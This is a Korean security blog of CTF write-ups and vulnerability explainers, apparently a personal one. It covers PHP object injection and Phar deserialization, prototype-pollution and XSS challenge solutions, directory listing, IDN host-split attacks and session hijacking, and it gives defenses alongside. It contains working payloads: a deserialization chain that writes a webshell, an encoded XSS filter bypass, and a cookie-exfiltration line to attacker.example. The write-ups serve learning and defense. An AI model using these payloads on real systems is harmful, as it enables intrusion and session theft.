$templateRef = new ReflectionClass('Template');

// template_data에 FileManager 객체 할당
$dataProp = $templateRef->getProperty('template_data');
$dataProp->setAccessible(true);
$dataProp->setValue($template, $fileManager);  // ← 객체 연결!

// 3단계: 직렬화
$payload = serialize($template);
echo urlencode($payload);

공격 실행 흐름

1. 공격자가 페이로드 전송
   GET /page.php?data=O:8:"Template":1:{...}

2. 피해자 서버에서 역직렬화
   $obj = unserialize($_GET['data']);
   → Template 객체 생성
   → template_data = FileManager 객체

3. 스크립트 종료 시
   Template::__destruct() 자동 호출

4. __destruct() 내부
   echo $this->template_data;
   → template_data는 FileManager 객체
   → FileManager::__toString() 자동 호출

5. __toString() 내부
   file_put_contents($this->filename, $this->content);
   → file_put_contents('shell.php', '<?php system(...) ?>');
   → 웹셸 파일 생성!

6. 공격자가 웹셸 실행
   http://victim.com/shell.php?cmd=whoami

각 클래스는 개별적으로는 무해하지만

Template: 단순히 데이터를 출력
FileManager: 파일 관리 기능

Phar Deserialization

Phar란?

Phar (PHP Archive)는 PHP 애플리케이션을 단일 파일로 패키징하는 포맷이다.
JAR(Java), EXE(Windows)와 유사한 개념으로, 여러 PHP 파일을 하나로 묶을 수 있다.

→ 여기서 핵심은, Metadata 영역에 직렬화된 객체를 저장할 수 있다는 점이다.

위험한 이유?

PHP의 파일 시스템 함수들이 phar:// 래퍼로 파일에 접근할 때

→ Metadata가 자동으로 역직렬화됨

→ unserialize()를 명시적으로 호출하지 않아도 공격이 가능해진다.

일반적인 취약 함수들:

// phar:// 래퍼 사용 시 자동 역직렬화 발생

file_exists('phar://evil.jpg')
fopen('phar://evil.jpg', 'r')
file_get_contents('phar://evil.jpg')
file('phar://evil.jpg')
include('phar://evil.jpg')
require('phar://evil.jpg')
is_file('phar://evil.jpg')
is_dir('phar://evil.jpg')
filesize('phar://evil.jpg')
md5_file('phar://evil.jpg')
stat('phar://evil.jpg')
unlink('phar://evil.jpg')
copy('phar://evil.jpg', 'dest')
// ... 그 외 여러 개 등등

공격 시나리오

1. 악성 Phar 파일 생성

<?php
class Evil {
    public $cmd = 'system';
    public $arg = 'whoami';
}

// Phar 파일 생성
$phar = new Phar('evil.phar');
$phar->startBuffering();

// 더미 파일 추가
$phar->addFromString('test.txt', 'dummy content');

// Metadata에 악성 객체 삽입
$evilObj = new Evil();
$phar->setMetadata($evilObj);  // ← 여기서 직렬화됨

$phar->stopBuffering();
?>

2. 파일 확장자 위장

# Phar는 앞부분에 다른 데이터가 있어도 작동
mv evil.phar evil.jpg

# 또는 실제 이미지 헤더 추가
cat real_image.jpg evil.phar > evil.jpg

# 이미지 파일로 위장했지만, 내부에는 Phar 구조

3. 서버에 업로드

<!-- 일반적인 이미지 업로드 폼 -->
<form method="post" enctype="multipart/form-data">
    <input type="file" name="profile_pic">
    <input type="submit" value="Upload">
</form>

서버는 확장자만 확인:

// 취약한 업로드 검증
$ext = pathinfo($_FILES['profile_pic']['name'], PATHINFO_EXTENSION);
if ($ext == 'jpg') {
    move_uploaded_file($_FILES['profile_pic']['tmp_name'], 
                       'uploads/' . $_FILES['profile_pic']['name']);
    // → uploads/evil.jpg 저장됨
}

4. 취약한 코드 트리거

// 개발자가 작성한 정상적인 코드
$filename = $_GET['file'];

// 파일 존재 여부 확인
if (file_exists($filename)) {
    echo "파일이 존재합니다!";
}

5. 공격 실행

GET /check.php?file=phar://uploads/evil.jpg

실행 과정

file_exists('phar://uploads/evil.jpg') 호출
PHP가 phar:// 래퍼 인식
→ evil.jpg를 Phar로 파싱
Metadata 영역 접근
→ 저장된 직렬화 데이터 발견
자동으로 unserialize() 실행
→ Evil 객체 생성
Evil::__wakeup() 또는 __destruct() 호출
→ RCE 발생

분명 unserialize() 호출이 코드에 없고, 일반 파일 함수만 사용했으며, 확장자 검사 했음에도 터짐

Private/Protected 속성 조작 및 WAF 우회

Private 속성 직렬화 포맷

class User {
    public $name = "Alice";        // public
    protected $email = "a@b.com";  // protected
    private $password = "secret";   // private
}

직렬화 결과:

O:4:"User":3:{
    s:4:"name";s:5:"Alice";
    s:8:"\x00*\x00email";s:7:"a@b.com";
    s:14:"\x00User\x00password";s:6:"secret";
}

공격 방법: NULL 바이트 인코딩

터미널에서:

O:4:"User":1:{s:14:"\x00User\x00password";s:4:"hack";}

HTTP 요청 시:

POST /api/deserialize HTTP/1.1
Content-Type: application/x-www-form-urlencoded

data=O:4:"User":1:{s:14:"%00User%00password";s:4:"hack";}

NULL 바이트 \x00를 URL 인코딩 %00으로 변환하여 전송

WAF 우회

Hex 인코딩
대소문자 혼합
Plus 부호 활용
길이 계산 오류 유도
etc.

방어 기법

1. unserialize() 사용 X

// bad case
$data = serialize($object);
$object = unserialize($data);

// good case
$data = json_encode($object);
$object = json_decode($data, true);

JSON

직렬화된 클래스 정보가 없음
매직 메서드가 호출되지 않음
객체가 아니 배열로 복원

2. allowed_classes 옵션 사용

만약, 불가피하게 unserialize()를 사용해야 한다면:

참고로, PHP 7.0 이상에서만 발생

// 클래스 객체를 절대 허용하지 않음
$data = unserialize($input, ['allowed_classes' => false]);
// → 모든 객체가 __PHP_Incomplete_Class로 변환됨

// 특정 클래스만 허용
$data = unserialize($input, [
    'allowed_classes' => ['SafeClass1', 'SafeClass2']
]);

입력 검증

서명 검증

// 직렬화 시
$data = serialize($object);
$signature = hash_hmac('sha256', $data, SECRET_KEY);
$package = $signature . ':' . $data;

// 역직렬화 시
list($sig, $data) = explode(':', $package, 2);
$expected = hash_hmac('sha256', $data, SECRET_KEY);

if (!hash_equals($expected, $sig)) {
    die("변조 감지!");
}

$object = unserialize($data, ['allowed_classes' => false]);

→ hash_eqauls()를 사용하여 타이밍 공격 방지

암호화

// 직렬화 후 암호화
$data = serialize($object);
$encrypted = openssl_encrypt(
    $data, 
    'aes-256-cbc', 
    ENCRYPTION_KEY, 
    0, 
    INIT_VECTOR
);

// 복호화 후 역직렬화
$decrypted = openssl_decrypt(
    $encrypted, 
    'aes-256-cbc', 
    ENCRYPTION_KEY, 
    0, 
    INIT_VECTOR
);
$object = unserialize($decrypted, ['allowed_classes' => false]);

Phar 공격 방어

phar.readonly 설정

php.ini:

phar.readonly = 1

새로운 Phar 파일 생성 불가

Stream Wrapper 비활성화

// 스크립트 시작 시
stream_wrapper_unregister('phar');

// 이후 phar:// 사용 불가
file_exists('phar://evil.jpg');  // Warning!

입력 검증

function validatePath($path) {
    // phar:// 프로토콜 차단
    if (preg_match('/^phar:\/\//i', $path)) {
        die("Phar protocol not allowed!");
    }
    
    // 실제 파일 경로만 허용
    $realPath = realpath($path);
    if ($realPath === false) {
        die("Invalid path!");
    }
    
    // 업로드 디렉토리 내부인지 확인
    if (strpos($realPath, UPLOAD_DIR) !== 0) {
        die("Path traversal detected!");
    }
    
    return $realPath;
}

// 사용
$safe_path = validatePath($_GET['file']);
if (file_exists($safe_path)) {
    // ...
}

WordPress

1. 코어 설계부터 직렬화에 의존

WordPress는 설계부터 다음과 같이 serialize() / unserialize()에 크게 의존한다.

// 1. Options 테이블
update_option('theme_mods', $data);  
// 내부적으로 serialize() 사용

// 2. Meta 테이블
update_post_meta($post_id, 'custom_data', $array);
// 내부적으로 serialize() 사용

update_user_meta($user_id, 'preferences', $array);
// 내부적으로 serialize() 사용

2. 광범위한 공격 표면

AJAX 핸들러

// 인증된 사용자용
add_action('wp_ajax_save_data', 'handler');

// 비인증 사용자용 (누구나 접근 가능!)
add_action('wp_ajax_nopriv_save_data', 'handler');

REST API

register_rest_route('myplugin/v1', '/save', [
    'callback' => 'save_callback',
    // permission_callback 누락 시 누구나 접근!
]);

Shortcode

add_shortcode('custom', 'shortcode_handler');
// 게시글 편집 권한만 있으면 공격 가능

Admin Action Hook

add_action('admin_action_export', 'export_handler');

Widget 업데이트

class MyWidget extends WP_Widget {
    public function update($new, $old) {
        // 취약점 발생 가능
    }
}

3. 개발자들의 인식 부족

PatchStack Academy

We don't recommend doing the deserialization using the un serialize ormaybe_unserialize functions.
For more complex data, we can use other data formats such as JSON.

하지만 많은 개발자가

WordPress 코어가 하니까 따라 함
unserialize() 위험성을 모름
JSON 대안을 고려하지 않음

PatchStackAcademy 권장사항

// bad case
$data = unserialize($_POST['data']);
$data = maybe_unserialize($_POST['data']);

// good case
$data = json_decode($_POST['data'], true);

// 불가피한 경우
$data = unserialize($input, ['allowed_classes' => false]);

그 외에도 WAF 규칙 등 참고

참고자료

https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection

https://patchstack.com/academy/wordpress/vulnerabilities/php-object-injection/

https://www.skshieldus.com/kor/eqstinsight/cve2409.html

Another Login Challenge

y3onbug5 — Sun, 15 Mar 2026 22:13:13 +0900

문제설명

Topic: Login

분야: Web

난이도: Medium

문제 URL: https://alpacahack.com/daily/challenges/alert-my-flag

코드 분석

let users = {
  admin: {
    password: crypto.randomBytes(32).toString("base64"),
  },
};

users는 사용자 정보를 저장한 객체
현재 admin 한 명만 있음
password는 랜덤한 비밀번호 생성

app.get("/", (req, res) => {
  res.send(`
    <h2>Login</h2>
    <form method="POST">
      <input name="username" placeholder="username" required />
      <br />
      <input name="password" type="password" placeholder="password" required />
      <br />
      <button>Login</button>
    </form>
  `);
});

GET / 요청 시 로그인 폼 HTML을 보여줌
브라우저에서 /에 접속하면 아이디/비번 입력창이 나옴

app.post("/", (req, res) => {
  const { username, password } = req.body;
  const user = users[username];
  if (!user || user.password !== password) {
    return res.send("invalid credentials");
  }

  res.send(FLAG);
});

로그인 폼 제출되면 POST / 로 들어온다
사용자가 입력한 username, passowrd가 바디로 요청함
user 변수엔 {password: "랜덤 비밀번호"} 가 들어있음
!user : username의 계정이 없으면 실패 / 비밀번호 다르면 실패

취약점 분석

사용자가 넣은 문자열을 객체 키로 사용함
→ __proto__ 같은 특수 키를 이용하면 의도하지 않은 객체가 user에 들어감

익스플로잇

username="__proto__" 를 입력해주면

username에 __proto__를 넣으면

const user = users[username]; ===> const user = users["__proto__"];

객체의 프로토타입에 연결된 특수한 키 처럼 동작이 가능하다. 그래서 users["__proto__"]는 보통 Object.prototype 같은 값을 가져오게 된다

즉,

users["__proto__"] -> Object.prototype

따라서 user = Object.prototype이 되고 조건문을 살펴보면

if (!user || user.password !== password) {
    return res.send("invalid credentials");
  }

user은 truthy가 되고, !user는 false가 된다.

그리고 password를 아예 안 보내면 password === ubdefined가 된다.

또한 Object.prototype.password도 기본적으로 undefined라서

undefined !== undefined로 결과가 false가 된다.

즉

if(false || false)

가 되어 통과하고 FLAG가 나온다.

Fishing

y3onbug5 — Thu, 5 Mar 2026 18:27:10 +0900

문제설명

문제 설명

낚시.. 좋아하시나요..?

사용된 이미지는 모두 nocopyright 이미지를 사용하였습니다.

코드분석

FISHLIST_PATH = 'fishlist.txt'
FLAG_IMAGE_PATH = 'flag.jpg'


def load_fishes():
    fishes = []
    grade = None
    with open(FISHLIST_PATH, encoding="utf-8") as f:
        for line in f:
            line = line.strip()
            if not line:
                continue
            if line.startswith("등급"):
                grade = line.split(":")[1].strip()
                continue
            if ' ' in line:
                name, prob = line.rsplit(' ', 1)
                prob = float(prob)
                fishes.append({
                    'name': name,
                    'img': f"{name}.jpg",
                    'prob': prob,
                    'grade': grade
                })
    return fishes

fishlist.txt에서 물고기 리스트 데이터 가져오고 flag는 flag.jpg에 있는 듯 하다.
물고기와 등급이 있고, 리스트에서 가져오는듯
잡은 물고기의 name, img, prob, grage 나와있는 것처럼 데이터를 처리함

ISHES = load_fishes()
DEFAULT_PROBS = [fish['prob'] for fish in FISHES]


def pick_fish(fishes):
    r = random.random()
    total = 0
    for fish in fishes:
        total += fish['prob']
        if r < total:
            return fish
    return fishes[-1]

물고기는 랜덤뽑기 함수인듯

@app.route("/")
def index():
    caught = session.get("caught", [])
    return render_template("index.html", fishes=FISHES, caught=caught)

잡은 물고기를 보여줌

@app.route("/fish", methods=["POST"])
def fish():
    probs = request.form.getlist("probs", type=float)
    if len(probs) != len(FISHES):
        probs = DEFAULT_PROBS

    fishes = []
    for i, fish in enumerate(FISHES):
        fishes.append({
            "name": fish['name'],
            "img": fish['img'],
            "prob": probs[i],
            "grade": fish['grade']
        })

    fish = pick_fish(fishes)
    caught = session.get("caught", [])
    if fish['name'] not in caught:
        caught.append(fish['name'])
        session['caught'] = caught

    return jsonify({
        'name': fish['name'],
        'img': fish['img'],
        'grade': fish['grade']
    })

잡은 물고기 처리를 담당
probs를 사용자 입력으로 받음
잡은 거 name, img, grade로 리턴하고 저장함

@app.route("/flag_image")
def flag_image():
    caught = session.get("caught", [])
    if "flag" in caught:
        if os.path.exists(FLAG_IMAGE_PATH):
            return send_file(FLAG_IMAGE_PATH, mimetype="image/jpeg")
        else:
            return abort(404)
    return abort(403)

잡은 게 flag이면 FLAG를 jpeg 형태로 출력

취약점 분석

 probs = request.form.getlist("probs", type=float)
 if len(probs) != len(FISHES):
        probs = DEFAULT_PROBS

사용자가 입력한 값을 그대로 probs로 사용함
길이만 맞다면 그 값을 신뢰하고 사용함

익스플로잇

먼저 /fish 엔드포인트를 가로채 헤더와 바디를 추가해 준다.

Content-Type: application/x-www-form-urlencoded

probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=1

flag 파일을 확인을 했으니 이 세션 값을 가지고 /fiag_images 엔드포인트에 GET 요청을 보내면

이미지 파일이 바이너리 파일이므로 Render 탭에서 확인해 보면

Alert my Flag

y3onbug5 — Thu, 5 Mar 2026 16:07:48 +0900

문제설명

Topic: XSS

분야: Web

난이도: Medium

Run alert(flag) to win!

코드분석

if(type === "alert" && message === FLAG) {
        successful = true;
      }
      await dialog.accept();
    });

visit 함수 일부분
alert의 메시지가 FLAG와 같으면 성공

app.get("/", async (req, res) => {

  const flag = req.cookies.flag ?? "fake_flag";

  const username = req.query.username ?? "guest";

  let result;
  if(username.includes("flag") || username.includes("alert")) {
    result = "<p>invalid input</p>";
  } else {
    result = `<h1>Hello ${username}!</h1>`
  }

  const html = `<!DOCTYPE html>
<html>
<head>
  <script>const flag="${flag}";</script>
</head>
<body>
  ${result}
  <p>Try <a href="/?username=<i>admin</i>">this page?</a>
  <p>Was "alert(flag)" successful? <form action="/report" method="POST"><input hidden id="username" name="username"><button>Submit this page!</button></form></p>
  <script>
    document.getElementById("username").value = new URLSearchParams(location.search).get("username")</script>
</body>
</html>`;
  return res.send(html);
});

쿠키에서 flag값 읽고 없으면 fake_flag 사용
URL 쿼리 username을 읽고 없으면 guest
"flag"랑 "alert" 문자열만 필터
<h1> Hello ${username}! <h1>에서 username을 그대로 삽입함
flag를 <script>const flag"${flag}"</script>로 노출
result를 body에 삽입
/report로 보내는 form이 있고 hidden input username 있음

/?username= ??? 로 넣은 값이 페이지에 반영되고, 그 값이 report POST에도 전달되도록 연결된 구조

app.post("/report", async (req, res) => {
  const { username } = req.body;
  if (typeof username !== "string") {
    return res.status(400).send("Invalid username");
  }

  const url = `${APP_URL}?username=${encodeURIComponent(username)}`;

  try {
    const result = await visit(url);
    return res.send(result ? FLAG : "Failed...");
  } catch (e) {
    console.error(e);
    return res.status(500).send("Something wrong");
  }
});

username를 폼 body에서 꺼냄
username이 문자열이 아니면 400 에러 메시지
입력값을 URL 인코딩해서 내부 봇이 방문할 URL 생성
봇이 url 다녀오면서 alert() 메시지가 FLAG와 정확히 같으면 true
성공 시 FLAG, 실패 시 Failed 반환

취약점 분석

username이 HTML 그대로 삽입됨

<h1>Hello ${username}</h1>

flag, alert만 문자열 검사함

if(username.includes("flag") || username.includes("alert"))

flag 재노출

<script>const flag="${flag}";</script>

익스플로잇

먼저 alert 문자열은 우회를 위해 ['al'+'ert'] 와 같이 쪼개서 필터에 걸리지 않게 함

alert => ['al'+'ert']

Httponly = true로 설정이 걸려있어 document.cookie로 쿠키를 못 읽지만 HTML에 노출된 스크립트 내용을 통해 FLAG를 획득할 수 있다.

페이지를 살펴보자.

this page 버튼 클릭 시 /?username=<i> admin </i>로 기울림이 적용된 것을 확인
그렇다면 <h1> Hello </h1> <i> admin </i> <h1> ! </h1> 과 같이 HTML이 적용되는 것을 확인
따라서 <i>admin</i> 자리에 스크립트를 삽입

따라서 총 페이로드를

</h1><script>this['al'+'ert'](\u0066lag)</script><h1>

또한 burpsuite에서 /report 엔드포인트를 확인해 보니

body에 url 인코딩을 한 상태로 전송하는 것을 확인할 수 있음

따라서 페이로드를 인코딩해주면

%3C%2Fh1%3E%3Cscript%3Ethis%5B%27al%27%2B%27ert%27%5D%28%5Cu0066lag%29%3C%2Fscript%3E%3Ch1%3E

플래그 획득

Directory Listing

y3onbug5 — Wed, 4 Mar 2026 21:49:44 +0900

Directory Listing

웹 서버가 특정 디렉터리(폴더)에 대해 기본 문서(index.html, index.php 등)을 찾지 못했을 때, 그 폴더 안에 있는 파일/하위 디렉터리 목록을 그대로 보여주는 기능

발생원인

주된 원인은 서버 설정 때문이다.

대표적으로

해당 디렉터리에 index 파일이 없음
웹 서버에서 자동 인덱싱(autoindex) 기능이 켜져 있음
접근 제어가 제대로 설정되지 않음
개발/테스트용 디렉터리를 운영 환경에 그대로 둠

즉, 서버가 보여줄 메인 문서가 없으니, 대신 폴더 안 목록이라도 보여주자 라고 동작하는 것이다.

어떤 서버에서 보이나

Apache

: Apache에서는 Options Indexs 설정이 있으면 디렉터리 목록이 보일 수 있다.

Nginx

: Nginx에서는 autoindex on; 이 설정되어 있으면 디렉터리 목록이 노출된다.

특정 서버만의 문제가 아니라 어떤 웹 서버든 설정 실수로 발생 가능하다.

위험 수준

Directory Listing 자체가 바로 원격 코드 실행 같은 치명점은 아닐 수 있지만, 정보 노출(Information Disclosure) 관점에서 매우 위험하다.

☞ 공격자 입장에서 몰라야 할 파일과 경로를 한 번에 확인할 수 있기 때문

1. 민감 파일 발견 가능

백업 파일: backup.zip, site.tar.gz
설정 파일: config.bak, .env.old
로그 파일: error.log
테스트 파일: test.php, debug.txt
데이터 덤프: db.sql
문서 파일: admin-guide.pdf

2. 공격 표면 파악 쉬워짐

디렉토리 구조를 보면서

업로드 경로
백업 위치
오래된 소스 파일
개발자가 남긴 파일

같은 것들을 쉽게 볼 수 있고, 즉, 정찰하는 단계가 쉬워진다.

3. 취약점 연계

Directory Listing은 다른 공격의 출발점이 되는 경우가 많다.

특정 스크립트 파일 발견
백업 파일 다운로드
업로드된 파일/디렉터리 확인
DB 정보나 관리자 경로 발견

실무 사례

1. 업로드 폴더

/uploads/
/files/

사용자가 올린 파일 목록이 그대로 노출될 수 있음

2. 백업 폴더

/backup/
/old/

운영자가 예전 파일을 잠깐 올려놨다가 잊어버린 경우가 많다.

3. 정적 파일 폴더

/assets/
/downloads/

의도적으로 공개한 파일만 있어야 하는데, 다른 문서까지 섞여 들어가는 경우가 있다.

4. 개발/테스트 경로

/test/
/dev/
/temp/

개발 흔적이 운영 서버에 남아 있을 수 있다.

점검 방법

웹에서 접근 시도

https://target.com/uploads/
https://target.com/backup/
htps://target.com/images/

Index of / ... 형태가 뜨면 directory listing 가능성이 크다.

방어방법

1. 디렉터리 목록 기능 비활성화

가장 기본적인 대응방법이다.

Apache

Options -Indexs

Nginx

autoindex off;

2. index 파일 배치

해당 폴더에 index.html 등을 둬서 목록 대신 기본 페이지가 나오게 할 수 있다.

3. 접근 제어 적용

민감한 디렉터리는 인증/인가 또는 서버 레벨 파단을 적용해야 한다.

/backup/
/admin/
/internal/

4. 민감 파일 웹 루트 밖으로 이동

백업본, 설정 파일, DB 덤프는 애초에 웹에서 직접 접근 가능한 경로 밖에 둬야 한다.

5. 불필요한 파일 제거

운영 서버에는 테스트 파일, 덤프 파일, 임시 파일 같은 것들을 남겨두지 않는 것이 좋다.

Host Split Attack

y3onbug5 — Wed, 4 Mar 2026 20:46:21 +0900

Host Split Attack

URL 안의 호스트명(Hostname)을 처리하는 과정에서, 일부 Unicode 문자가 정규화(normalization)/IDN 처리 과정에서

. / : @ # 같은 URL 구조를 바꾸는 문자처럼 변형되면서, 프로그램이 처음 이해한 호스트의 실제 전송 이동 시점의 호스트가 달라지는 취약점이다.

핵심은 보안 판단은 원래 문자열 기준으로 했는데, 나중에 정규화 후 URL 구조가 바뀌어 다른 도메인으로 해석된다는 것이다.

쉽게 말해,

trusted.example 안의 하위 도메인이라고 믿었는데, Unicode/IDNA 변환 뒤에는 evil.example/path.trusted.example 같은 전혀 다른 구조로 바뀌어 오픈 리다이렉트 우회, OAuth 토큰 탈취, 도메인 검증 우회 같은 문제가 생길 수 있다.

발생원인

국제화 도메인 이름(IDN) 처리이다. DNS는 실질적으로 ASCII 기반으로 동작하므로, Unicode 도메인은 IDNA 규칙에 따라 ASCII 형태(A-label, 흔히 punycode)로 바꿔서 사용한다.

이 과정에서 일부 구현은 IDNA2008 대신 호환성 처리를 섞거나, 정규화 전/후에 URL을 잘못 분해해서, 원래는 평범해 보이던 Unicode 문자가 구조적으로 의미 있는 문자로 변해버릴 수 있다.

RFC 5891은 IDNA 프로토콜을 정의 하고, UTS #46은 호환성 처리를 제공하는데, HostSplit은 바로 이런 정규화와 URL 파싱 경계에서 발생한다.

예를 들어, ℀ (U+2100, ACCOUNT OF) 이 문자가 어떤 구현에서는 IDN/정규화 과정에서 a/c로 바뀔 수 있는데 그럼 원래 하나의 hostname label처럼 보이던 것이 / 를 포함하게 되어 URL의 호스트와 경로 경계가 깨진다.

http://canada.c℀.products.office.com/test.exe

애플리케이션은 이걸 보고 products.office.com 하위 도메인이라고 생각

취약한 변환 로직이 ℀ -> a/c 로 처리하면 최종 URL은

http://canada.ca/c.products.office.com/test.exe

canada.c℀.products.office.com이라는 하나의 host 였던 것이
canada.ca라는 다른 host와 /c.products.office.com 라는 path로 분리됨

취약점 형태

1. 오픈 리다이렉트 우회

허용된 도메인으로만 redirect하게 만든 로직을 우회해서, 실제로는 공격자 사이트로 보낼 수 있다.

이는 로그인 후 이동, 결제 후 복귀, SSO 리다이렉트 등에서 치명일 수 있다.

2. OAuth 토큰 탈취

redirect_uri 검증이 문자열상 허용 도메인 기준이면, 정규화 후 구족 바뀌며 공격자 도메인으로 토큰이나 authorization code가 전달될 수 있다.

어떤 문자들이 문제가 되나

℀ (U+2100) ☞ /: 경로(path) 시작/구분
⁈ (U+2048) ☞ ?:query 시작 / !:URL 표준 구조문자는 아니지만, 어떤 애플리케이션 로직에서는 특수 의미로 다뤄질 수 있음
： (FULLWIDTH COLON) ☞ : 스킴 뒤 구분자(http:), 호스트 뒤 포트 구분자( :80 )
／ (FULLWIDTH SOLIDUS) ☞ / : 경로(path) 시작/구분
＃ (FULLWIDTH NUMBER SIGN) ☞ #: fragment 시작
＠ (FULLWIDTH COMMERCIAL AT) ☞ @: userinfo와 host 구분

방어기법

1. 보안 판단은 ASCII hostname 기준

사용자 입력에서 URL에서 host를 먼저 안전하게 분리
host를 ToASCII / A-label로 정규화
그 정규화된 ASCII 결과로 화이트리스트 비교

2. URL 전체를 먼저 문자열 비교하지 말 것

먼저 표준 URL 파서로 분해한 뒤, 정규화된 host만 비교해야 한다.

endsWith("trusted.com")		// 위험
contains("trusted.com")		// 위험

3. URL 재조립 전에 host를 별도로 검증

검사 전에 정규화가 아닌

파싱 → host 추출 → host ToASCII → 허용 여부 판단 → 그 결과만 사용 순서로 처리

HTTP Session Hijacking

y3onbug5 — Wed, 4 Mar 2026 18:20:24 +0900

HTTP Session Hijacking

HTTP Session Hijacking은 공격자가 다른 사용자의 유효한 세션을 탈취해서, 그 사용자로 가장하는 공격이다.

웹 애플리케이션은 보통 세션 ID를 통해 사용자 인증 상태를 유지한다.
이 세션ID가 노출/예측/고정/재사용되면 공격자는 피해자 비밀번호를 몰라도 로그인된 상태를 그대로 가로채서 행동할 수 있다.

Session

HTTP는 기본적으로 stateless이다.

즉, 요청 1번과 요청 2번이 같은 사용자인지 자체적으로 기억하지 못한다.

그래서 서버는 사용자가 로그인하면 서버 측에 세션 상태를 만들고, 클라이언트에게는 그 세션을 식별할 세션 식별자(session identifier)를 내려준다.

이 값은 일반적으로 Set-Cookie 헤더를 통해 쿠키로 저장되고, 이후 브라우저가 요청할 때 다시 서버로 전송된다.

예를 들어, 브라우저는 요청마다 대략 이런 식으로 보낸다.

HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=abc123xyz...; Path=/; HttpOnly; Secure; SameSite=Lax

서버 입장에서는 "이 쿠키 값을 가진 요청 = 이미 인증된 사용자" 로 판단이 가능하다.

따라서 공격자가 이 값을 손에 넣으면, 사실상 인증을 우회한 것과 비슷한 효과가 난다.

주요 공격 방식

1. 세션 쿠키 탈취

가장 대표적인 공격 기법으로, 공격자가 피해자의 세션 쿠키를 훔치는 방식이다.

XSS를 통한 쿠키 탈취

애플리케이션에 XSS가 있으면 공격자가 피해자 브라우저에서 자바스크립트를 실행시켜 document.cookie를 읽고 외부로 전송할 수 있다.

new Image().src = "https://attacker.example/steal?c=" + document.cookie;

단, HttpOnly가 설정된 세션 쿠키는 JS로 직접 읽기 어렵다.

그래서 실무에서는 XSS가 있어도 반드시 쿠키가 바로 탈취되는 것은 아니고, 대신 세션고정, CSRF 보조, 민감 동작 대리 실행 같은 다른 방식으로 이어질 수 있다.

네트워크 스니핑 / MITM

암호화되지 않은 HTTP 통신에서는 중간자 공격자가 세션 쿠키를 가로챌 수 있다.

Secure 속성이 있는 쿠키는 HTTPS에서만 전송되며, 이를 통해 중간자 공격자가 민감 쿠키를 접근하는 위험을 줄인다.

로컬 환경 / 브라우저 탈취

악성 확장 프로그램, 악성코드, 공유 pc, 취약한 브라우저 저장소 등으로 쿠키가 유출될 수 있다.

이 경우 웹앱 자체 취약점이 없어도 세션이 탈취될 수 있다.

2. 세션예측

세션 ID가 충분히 랜덤하지 않으면 공격자가 맞혀버릴 수 있다.

예를 들어 시간 값, 사용자 ID, 단순 난수를 사용하면 세션 ID가 예측 가능해진다.

CWE는 예측 가능한 식별자나 불충분한 난수 사용이 세션 하이재킹으로 이어질 수 있다고 설명한다.

function generateSessionID($userID){
    srand($userID);
    return rand();
}

나쁜 예시의 코드이다.

사용자 ID가 같으면 동일하거나 예측 가능한 결과가 나올 수 있어 매우 위험하다.

3. Session Fixation

세션 하이재킹의 하위 유형으로 매우 자주 같이 언급된다.

핵심은 공격자가 자신이 아는 세션 ID를 피해자에게 미리 쓰게 만든 뒤, 피해자가 로그인하면 그 세션이 인증된 세션으로 승격되는 것이다.

로그인 전 세션을 로그인 후에도 그대로 유지하고 새 세션으로 교체하지 않으면 fixation이 가능하다고 한다.

시나리오

공격자가 미리 세션 ID AAAA를 확보
피해자에게 그 세션 ID를 쓰게 만듦
피해자가 로그인
서버가 세션 재발급 없이 그대로 AAAA를 인증된 세션으로 사용
공격자가 AAAA를 아니까 로그인된 세션 사용 가능

즉, 이 경우는 훔치는게 아니라 미리 고정해 둔 세션을 재사용하는 공격

따라서 로그인 성공 시 반드시 세션 ID를 재생성 해야 한다.

4. 재전송(Replay)

공격자가 네트워크에서 인증 관련 요청이나 세션 토큰을 캡처한 뒤 다시 보내는 방식이다.

CWE는 캡처/리플레이 취약점이 있으면 네트워크 트래픽 도청을 통해 인증을 우회할 수 있다고 한다.

세션 쿠키 자체가 탈취된 경우에도 본질적으로 유효한 세션 값을 재전송하는 것이므로 replay 성격을 가진다고 볼 수 있다.

5. Cross-Site WebSocket Hijacking

웹 소켓도 조심해야 한다.

브라우저는 WebSocket 핸드셰이크 때도 쿠키를 자동으로 포함할 수 있다.

그래서 서버가 Origin 검증이나 CSRF 유사 방어 없이 쿠키 기반인증만 신뢰하면 악성 사이트가 사용자의 브라우저를 이용해 인증된 WebSocket 연결을 열 수 있다.

방어 방법

1. 세션 ID는 반드시 강한 랜덤값 사용

세션 ID는 충분히 길고, 예측 불가능하고, 충돌 가능성이 낮아야 한다.

직접 구현하지 말고, 프레임워크 기본 세션 메커니즘을 활용하는 게 원칙이다.

2. 로그인 직후 세션 재생성

로그인 성공 전후에 같은 세션 ID를 계속 쓰면 fixation에 취약하다.

따라서 인증 직후 세션 ID를 새로 발급해야 한다.

3. 세션 쿠키에 HttpOnly

세션 쿠키는 JavaScript에서 읽을 필요가 거의 없다.

따라서 HttpOnly를 설정해 XSS로 인한 직접 쿠키 탈취를 줄여야 한다.

4. Secure + HTTPS 강제

세션 쿠키는 HTTPS에서만 전송되도록 Secure를 설정해야 한다.

HTTP로 전송되면 중간자 공격에 노출될 수 있다.

5. SameSite와 CSRF 방어

SameSite=Lax 또는 가능하면 Strict를 사용하고, 민감 동작에는 별도 CSRF 토큰 등 방어를 두어야 한다.

6. 세션 만료 정책

Idle timeout: 일정 시간 활동 없으면 만료
Absolute timeout: 최대 세션 지속 시간 제한
Renewal timeout: 주기적 재발급

개발자 체크리스트

Set-Cookie: __Host-session=RANDOM_VALUE;
 Path=/;
 Secure;
 HttpOnly;
 SameSite=Lax

Secure와 HttpOnly를 권장

Parameter Tampering Attack

y3onbug5 — Wed, 4 Mar 2026 10:53:09 +0900

Parameter Tempering Attack

공격자가 클라이언트와 서버 사이에서 전달되는 파라미터를 임의로 수정해서, 애플리케이션 데이터나 동작을 바꾸는 공격이다.

URL query string, hidden form field, cookie 등으로 전달되는 값을 조작으로, 예시로는 사용자 자격, 권한, 상품 가격, 수량 같은 값 변경이 있다.

핵심은

서버가 사용자가 보낸 값을 믿으면 안되는데 믿었을 때 생기는 문제

CWE-472: hidden field, parameter, cookie, URL값이 변조되지 않을 것이라고 잘못 가정하는 문제를 설명

CWE-20: 개발자가 쿠키나 hidden field가 수정 불가능하다고 믿으면 입력 검증 자체를 생략할 수 있다고 설명

